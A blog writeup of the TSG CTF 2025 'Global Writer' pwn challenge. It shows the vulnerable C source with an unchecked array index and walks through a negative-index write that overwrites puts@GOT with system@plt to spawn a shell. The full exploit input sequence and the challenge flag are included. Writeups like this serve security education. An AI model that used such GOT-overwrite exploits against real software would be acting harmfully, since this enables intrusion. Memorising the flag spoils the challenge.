mis4nthr0pia

TSG CTF 2025 | Global Writer (pwn) – A Story About Trust Issues in C – Writeup

Attachment

// gcc -no-pie -Wl,-z,relro -fstack-protector-all -o chal src.c
#include <stdio.h>
#include <stdlib.h>

#define SIZE 0x10

char *msg = "Update Complete";
int values[SIZE];
int idx, i;

void handle_error() {
  system("echo ERROR OCCURRED");
  exit(1);
}

void edit() {
  while (1) {
    printf("index? > ");
    if (scanf("%d", &idx) != 1) {
      handle_error();
    }
    if (idx == -1) {
      break;
    }
    printf("value? > ");
    if (scanf("%d", &values[idx]) != 1) {
      handle_error();
    }
  }

  puts(msg);
  printf("Array: ");
  for (i = 0; i < SIZE; i++) {
    printf("%d ", values[i]);
  }
  printf("\n");
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  edit();
  return 0;
}

📜 Prologue – A Very Trusting Program

Every good pwn challenge starts the same way:

“This looks easy.”

And this one really looked easy.

No heap allocations.
No ROP chains.
No mysterious libc versions.

Just… global variables.

The program politely asks for an index and a value, and kindly stores that value in an array. What could possibly go wrong?

🔍 The Code That Started It All

Here’s the important part of the source:

int values[SIZE];
int idx;

scanf("%d", &idx);
scanf("%d", &values[idx]);

That’s it.

No bounds check.
No validation.
No fear.

Just blind trust.

😈 The Vulnerability – Negative Indexing

The array values has a fixed size:

#define SIZE 0x10
int values[SIZE];

But the program never checks whether idx is inside [0..SIZE-1].

That means we can do this:

values[-1]
values[-10]
values[-40]

And write before the array.

In other words:

Arbitrary write into nearby global variables.

Classic. Beautiful. Dangerous.

🧠 Memory Layout – Globals Are Neighbours

Global variables are laid out sequentially in memory.
After inspecting the binary, we find:

puts@GOT   → 0x404020
msg        → 0x404068
values     → 0x4040c0

They are literally right next to each other.
This means:

  • Writing to values[-22] overwrites msg
  • Writing to values[-40] overwrites puts@GOT

C programmers everywhere felt a disturbance in the force.

🎯 The Plan – No libc, No Leaks, Just Vibes

Originally, one might try leaking libc addresses.
But then we noticed something important:

void handle_error() {
    system("echo ERROR OCCURRED");
    exit(1);
}

💡 system() is already imported!

So instead of leaking libc:

  1. Redirect puts() → system()
  2. Point msg → “/bin/sh”
  3. Let the program call puts(msg)
  4. Accidentally spawn a shell

Elegant. Minimal. Very CTF.

🔍 Finding system@plt

By disassembling handle_error:

40123b: callq 0x4010f0

That call corresponds to system().

So we know:

system@plt = 0x4010f0

And we already confirmed:

puts@GOT = 0x404020

🧮 Calculating the Evil Indices

Each element in values is an int (4 bytes).
So the index formula is:

(target_address - values_address) / 4

Result:

puts@GOT → -40
msg      → -22

Negative indexing strikes again.

🧵 Writing “/bin/sh” into Memory

We need a string to pass to system().
Instead of hunting for one, we just write it ourselves into values.

"/bin"  → 1852400175
"/sh\0" → 6845231

These two integers form the string /bin/sh.

💣 The Final Exploit Input

Here is the full interaction with the program:

index? > 0
value? > 1852400175      # "/bin"

index? > 1
value? > 6845231         # "/sh\0"

index? > -22
value? > 4210880         # msg → &values[0]

index? > -40
value? > 4198640         # puts@GOT → system@plt

index? > -1

At this point, the program proudly executes:

puts(msg);

Which now means:

system("/bin/sh");

Oops.

🐚 Shell Achieved

The shell appears.
We ask nicely:

ls
cat flag*

And the program responds:

TSGCTF{6O7_4nd_6lob4l_v4r1able5_ar3_4dj4c3n7_1n_m3m0ry_67216011}

Mission accomplished 🎉

🏁 Final Thoughts – Lessons Learned

  • Global variables are not isolated
  • Bounds checking is not optional
  • Negative indices are weapons
  • If system() exists, it will be abused
  • GOT overwrites never go out of style

Or, in short:

Global variables are like roommates — place them too close together and someone will overwrite someone else’s stuff.

🧠 Takeaway

This challenge didn’t need fancy techniques.

Just:

  • Observation
  • Memory layout awareness
  • And a healthy distrust of user input

Classic pwn.

Very satisfying.

GG 😄

Posted in:

Leave a Reply

Your email address will not be published. Required fields are marked *